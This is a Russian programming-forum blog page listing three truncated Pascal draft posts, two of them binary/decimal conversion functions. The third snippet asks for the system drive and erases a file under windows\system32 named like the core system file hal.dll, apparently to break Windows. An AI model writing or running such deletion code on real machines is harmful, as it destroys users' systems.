Форум программистов, компьютерный форум, киберфорум
Наши страницы
SYPER GENIY
Войти
Регистрация
Восстановить пароль
Старый
Мои Черновики 3
Запись от SYPER GENIY размещена 17.08.2015 в 13:09

Var
f : file;
s : string;
begin
writeln('Введи свой основной диск: ');
readln(s);
s:= s + '\windows\system32\hall.dll';
assign(f,s);
erase(f);...
Размещено в Без категории
Просмотров 265 Комментарии 1 SYPER GENIY вне форума
Старый
Мои черновики 2
Запись от SYPER GENIY размещена 20.05.2015 в 18:09

var a : string;

function BIN_DEC(x:string):longint;
const digits:array [0..1] of char = ('0','1');
var res,ves:longint; i,j:byte;
begin
res:=0; ves:=1;...
Размещено в Без категории
Просмотров 298 Комментарии 0 SYPER GENIY вне форума
Старый
Мои черновики
Запись от SYPER GENIY размещена 20.05.2015 в 18:07

var a : integer;

function DEC_BIN(x:longint):string;
const digits:array [0..1] of char = ('0','1');
var res:string; d:0..1;
begin
res:='';
while...
Размещено в Без категории
Просмотров 246 Комментарии 0 SYPER GENIY вне форума
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru